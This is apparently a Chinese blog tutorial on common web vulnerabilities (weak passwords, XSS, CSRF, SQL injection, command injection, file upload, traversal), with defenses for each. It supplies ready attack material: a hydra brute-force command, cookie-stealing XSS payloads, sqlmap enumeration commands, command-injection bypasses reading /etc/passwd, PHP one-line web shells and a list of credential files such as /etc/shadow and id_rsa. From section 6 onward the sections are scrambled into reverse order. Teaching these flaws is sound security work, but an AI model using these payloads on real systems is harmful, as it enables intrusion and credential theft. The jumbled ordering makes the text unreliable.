引言

介绍常见web漏洞,参考OWASP top10漏洞,pikachu靶场

1、弱口令漏洞

1.1 原理介绍

只要口令能被猜测到或者出现在弱口令字典中,都算做弱口令。

1.2漏洞识别

如果是web登陆,可以查看登陆处有无验证码,传输密码或用户名有无加密,密码输入错误多次后有无进行账号锁定。

1.3攻击方式:

一般使用弱口令字典进行爆破,web下使用burpsuite中intruder模块,其他组件如mysql可使用hydra,如 hydra -l admin -P pswtop100.txt mysql://xx.x.x.x -s 3306 -o xx.txt

如果对特定ID进行爆破,可以依据社会工程学基于已知信息生成特定的弱口令字典。如已知信息为某人叫刘能,出生于1997年11月12日,则可以生成如‘liuneng1997’、‘ln971112’、‘liuneng1112’等弱口令。github中有基于python2的社工弱口令字典生成工具,详见https://github.com/WangYihang/ccupp;

如果前端对密码进行了加密,可使用burp插件jsEncrypter将弱口令字典同步加密,详见实践篇|使用jsEncrypter进行前端加密弱口令爆破 - 知乎;

如果设置了验证码,可检查后端是否真正验证,验证码是否变化,如果是动态变化的图形验证码,可使用burp插件captcha-killer尝试识别。

1.4漏洞防御

1、设置验证码。 2、密码错误进行分阶段账号锁定。 3、设置密码时进行复杂度检查 4、对用户名密码进行加密

2、XSS(Cross Site Scripting)

2.1原理介绍

XSS跨站脚本攻击漏洞是指攻击者向web中注入恶意script代码,当用户浏览时恶意代码被执行。

按照是否经过后端处理,是否存储可以分为反射型XSS、存储型XSS、DOM型XSS。反射型XSS是临时性的,指注入的代码不在后端存储,但会在服务器端进行处理然后进行回显;存储型XSS会将恶意代码存储在数据库中;DOM型X SS利用的是html dom,不经过后端,只在浏览器处理,也是临时性的。

2.2漏洞识别

存在输入框,且输入框未进行特殊字符过滤

2.3 攻击方式

在系统中寻找存在输入框的地方,如新建信息,留言框等,查看对输入内容的回显,输入payload测试,如<script>alert(document.cookie)</script>、'><img src="#" on error="alert('xss')"

如果有过滤,可通过<a herf="#" οnclick="alert(document.cookie)">等绕过script过滤,可通过javascript:alert(document.cookie)等绕过但双引号过滤。

附XSS payload大全:https://github.com/payloadbox/xss-payload-list

2.4防御方式

1、对输入内容进行转义or过滤。 2、对输出内容进行转义or编码 3、设置cookie为httponly,使客户端无法通过脚本获得cookie

3、CSRF(cross site request forgery)

3.1原理介绍

CSRF是指跨站请求伪造。CSRF的攻击场景中攻击者会伪造一个请求(这个请求一般是一个链接),然后欺骗目标用户进行点击,用户一旦点击了这个请求,整个攻击就完成了。所以CSRF攻击也成为"one click"攻击。CSRF与XSS的区别:CSRF是借用户的权限完成攻击,攻击者并没有拿到用户的权限,而XSS是直接盗取到了用户的权限,然后实施破坏。

3.2 攻击方式

一般通过CSRF钓鱼,攻击流程为

1)受害者登陆某系统A获取cookie

2)攻击者引诱受害者访问B

3)B向A发出请求

4)A系统认为请求来自受害者,执行请求

攻击完成

3.3防御方式

1、业务更新接口使用POST 2、增加token,避免使用单一cookie验证身份。3、设置cookie为httponly

4、sql注入

4.1 原理介绍

前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。

4.2漏洞识别

寻找搜索输入框,在输入参数后加‘查看是否报错;尝试简单payload 1 or1=1#

使用sqlmap扫描,sqlmap -u url --dbs 列出数据库名,sqlmap -u url -D 库名 --tables 列出表名,sqlmap -u url -D table_name -T 表名 -- columns 列出列名

4.3漏洞防御

1、sql语句预编译,不同语言or框架对应有不同的预编译方法。2、使用安全函数,如ESAPI.encoder().encodeForSQL(codec, name)

5、命令注入

5.1 原理介绍

web端进行了需要调用系统命令执行的操作,攻击者通过输入Payload使得被攻击系统将恶意代码/命令拼接至已有的命令/代码中进行执行

5.2 攻击方式

1、利用管道符进行拼接

Windows系统支持的管道符

  • “|”:直接执行后面的语句,如 ping 127.0.0.1|whoami ,只执行whoami程序。

  • “||”:如果前面语句执行错误,则执行后面的语句,前面的语句只能为假。如 ping 2 || whoami 。

  • “&”:如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。如 ping 127.0.0.1&whoami 。

  • “&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句只能为真。如 ping 127.0.0.1&&whoami 。

Linux系统支持的管道符

  • “;”:执行完前面的语句再执行后面的。如 ping 127.0.0.1;whoami 。

  • “|”:显示后面语句的执行结果。如 ping 127.0.0.1|whoami 。

  • “||”:当前面的语句执行错误时,执行后面的语句,如 ping 127.0.0.1||whoami 。

  • “&”:如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。如ping 127.0.0.1&whoami 。

  • “&&”:如果前面的语句为假则直接出错,也不执行后面的,前面的语句只能为真。如ping 127.0.0.1&&whoami 。

“;” 依次执行命令

2、一些bypass技巧

1)关键字拼接

a=ca;b=t;$a$b /etc/passwd

2)寻找替代命令 如tac

3)编解码

HEX编码解码base64编解码

4)空格绕过 5)通配符 6)DNS外带 7)利用已有环境变量

5.3 防御方式

1、避免使用危险函数。如php中的system、exec等,python中的system、popen等,java中的java.lang.Runtime.getRuntime().exec等

2、裁剪系统的busybox组件,使得可以执行的系统命令做到最少

3、避免使用root权限启动系统

4、对前端输入进行过滤

6、文件上传漏洞

6.1 漏洞原理

在上传头像、附件时,如果对上传的内容没有进行校验,如果服务器的web容器执行了上传内容,或上传的钓鱼内容能被访问,则属于中高危漏洞。

6.2攻击方式

1、上传木马文件

木马生成工具https://github.com/NyDubh3/CuiRi

一些一句话木马:

<?php @eval($_POST['shell']);?>
​
<?php
$a = "assert";
$a(@$_POST['shell']);
?>
​
<?php assert(@$_POST['a']); ?>
/root/.ssh/authorized_keys
​
/root/.ssh/id_rsa
​
/root/.ssh/id_ras.keystore
​
/root/.ssh/known_hosts //记录每个访问计算机用户的公钥
​
/etc/passwd
​
/etc/shadow
​
/etc/my.cnf //mysql配置文件
​
/etc/httpd/conf/httpd.conf //apache配置文件
​
/root/.bash_history //用户历史命令记录文件
​
/root/.mysql_history //mysql历史命令记录文件
​
/proc/mounts //记录系统挂载设备
​
/porc/config.gz //内核配置文件
​
/var/lib/mlocate/mlocate.db //全文件路径
​
/porc/self/cmdline //当前进程的cmdline参数

1、过滤../,%2e%2e%2f(编码后) 2、对用户的请求资源设置白名单

10.2防御

如果后台没有对前端传进来的值进行严格的安全考虑,则攻击者可能会通过“../”这样的手段让后台打开或者执行一些其他的文件。 从而导致后台服务器上其他目录的文件结果被遍历出来,形成目录遍历漏洞。如http://www.xxxx.com/xxx.php?page=../../../../../../../../../../../../../etc/passwd

10.1漏洞原理

10、目录遍历

1、关键操作前验证用户身份,通过token或cookie。2、在cookie中加入不可猜解的信息

9.3防御

3、寻找隐藏的文件路径或特殊接口

2、寻找未进行身份验证的结构

1、更改抓包信息,将id改为他人id

9.2攻击方式

由于后台使用了不合适的权限校验规则,使得用户得到了平级用户或者更高权限用户的权限。

9.1漏洞原理

9、越权

2、如果不得不传入,采取白名单策略

1、在设计上不要让前端用户直接传变量给包含函数

防御方法:

语言中一般存在内置的文件包含函数,比如C语言的#include,php的include。如果被包含的东西可以由前端传过去,就可以构造恶意文件造成破坏。

8、文件包含漏洞

1、对输入参数进行过滤。2、限制可以访问的文件范围

7.3 防御

3、尝试下载敏感文件

2、测试../../../../../../etc/passwd、../index.php等

1、可以在Google搜索inurl:"readfile.php?file="查看有漏洞的网站,或者寻找目标系统的保存、下载功能

7.2攻击方式

如果下载的文件在检查元素or抓包orurl中可以看到,并且系统没有对用户下载文件做限制,则可以修改下载文件的路径和名称造成任意文件下载漏洞

7.1漏洞原理

7、任意文件下载漏洞

4)更改头部的contentType

3)将php语句写入jpg echo '<?php phpinfo(); ?>' >> pic.jpg

2)将php语句前面加上gif标识头 GIF89<?php phpinfo();?>

1)前端的文件过滤可以通过禁用防御函数来绕过

2、一些绕过技巧

常见web安全漏洞介绍相关推荐

  1. 常见Web安全漏洞深入解析

    常见Web安全漏洞深入解析 1.XSS跨站脚本攻击 2.SQL注入攻击 3.OS命令注入攻击 4.HTTP首部注入攻击 5.邮件首部注入攻击 6.目录遍历攻击 7.远程文件包含漏洞 1.XSS跨站脚本 ...

  2. 常见web安全漏洞修复方案(全面)

    第一章 SQL注入漏洞 第一节 漏洞介绍 概述:SQL注入攻击包括通过输入数据从客户端插入或"注入"SQL查询到应用程序.一个成功的SQL注入攻击可以从 数据库中获取敏感数据.修改 ...

  3. 常见Web安全漏洞类型

    阅读文本大概需要3分钟. 为了对Web安全有个整体的认识,整理一下常见的Web安全漏洞类型,主要参考于OWASP组织历年来所研究发布的项目文档. 01:注入漏洞 1)SQL注入(SQL Injecti ...

  4. 常见web安全漏洞及修复建议

    文章目录 常见WEB漏洞 高危漏洞 SQL Injection(SQL注入攻击) 漏洞描述 修复建议 Cross-site scripting(跨站脚本攻击,简称XSS) 漏洞描述 修复建议 Brok ...

  5. 常见Web安全漏洞测试指南

    任意文件下载 漏洞描述 一些网站由于业务需求,可能提供文件查看或下载的功能,如果对用户查看或下载的文件不做限制,则恶意用户就能够查看或下载任意的文件,可以是源代码文件.敏感文件等. 测试指南 使用 B ...

  6. 常见Web安全漏洞--------sql注入

    SQL注入:利用现有应用程序,将(恶意)的SQL命令注入到后台数据库执行一些恶意的操作. 在mybatis 中比较容易出现:${} 会发生sql 注入问题 #{}: 解析为一个 JDBC 预编译语句( ...

  7. Web 应用漏洞攻防

    Web 应用漏洞攻防 实验目的 了解常见 Web 漏洞训练平台: 了解 常见 Web 漏洞的基本原理: 掌握 OWASP Top 10 及常见 Web 高危漏洞的漏洞检测.漏洞利用和漏洞修复方法: 实 ...

  8. 上传文件白名单_十大常见web漏洞——文件上传漏洞

    漏洞介绍 在我们浏览网页时,文件上传是非常常见的,比如我们会上传头像.附件.视频等文件,文件上传漏洞通常由于网页代码中的文件上传路径变量过滤不严造成的,如果文件上传功能实现代码没有严格限制用户上传的文 ...

  9. 跨站点请求伪造_十大常见web漏洞——跨站点请求伪造(CSRF)

    CSRF介绍 什么是CSRF呢?我们直接看例子. https://mp.toutiao.com/profile_v3/graphic/preview?do=delete&pgc_id=6829 ...

最新文章

  1. SQL Server 2016 查询存储性能优化小结
  2. 笔记:常用SQL语句
  3. 《区块链开发指南》一一第1章 区块链基础
  4. robotframework(12)修改用户密码(从数据库查询短信验证码)
  5. 硕士论文研究「AI预测性取向」:化妆等因素并不影响判断
  6. 力扣——删除重复的电子邮箱(数据库的题
  7. 饿了么合并百度外卖,ThinkSNS:产品上线要趁早
  8. 基本类型的默认值和取值范围
  9. ubuntu16 下安装freeswitch 1.8.3
  10. 中国自由软件推广先锋的自述,心潮澎湃的一往无前,一定要看!作者:洪峰
  11. 多个小球碰撞的java_原生JS实现多个小球碰撞反弹效果示例
  12. UDP与TCP报文格式,字段意义
  13. gitbub图片 头像 图标不显示
  14. 《关键对话》如何高效能沟通之掌握关键对话
  15. 【Data truncation: Data too long for column ‘XXX at row 1 报错】
  16. 阿里云域名证书免费认证教程
  17. 各种格式文件转PDF的免费网站-转
  18. Helix QAC企业级自动代码静态分析器
  19. java实验报告可下载_JAVA实验报告.doc
  20. 流媒体文件应用常见问题解答

热门文章

  1. android ro.hardware 属性修改。
  2. 数据挖掘从入门到绝望之数据-分词
  3. 对IDEA中断点Suspend 属性理解
  4. 洛谷P1926-小书童——刷题大军(01背包)
  5. Word设置1之后页码全是1怎么解决?
  6. keyword笔记(zz)
  7. 2005第二届“IBM杯”高校校园创新设计大赛揭晓
  8. 2.误删除 文件 磁盘 格式化 勒索 加密 数据 恢复 指南
  9. 张驰咨询:关于六西格玛,有一些常见的疑惑!
  10. 华为MateBook16安装easyconnect后无法ssh服务器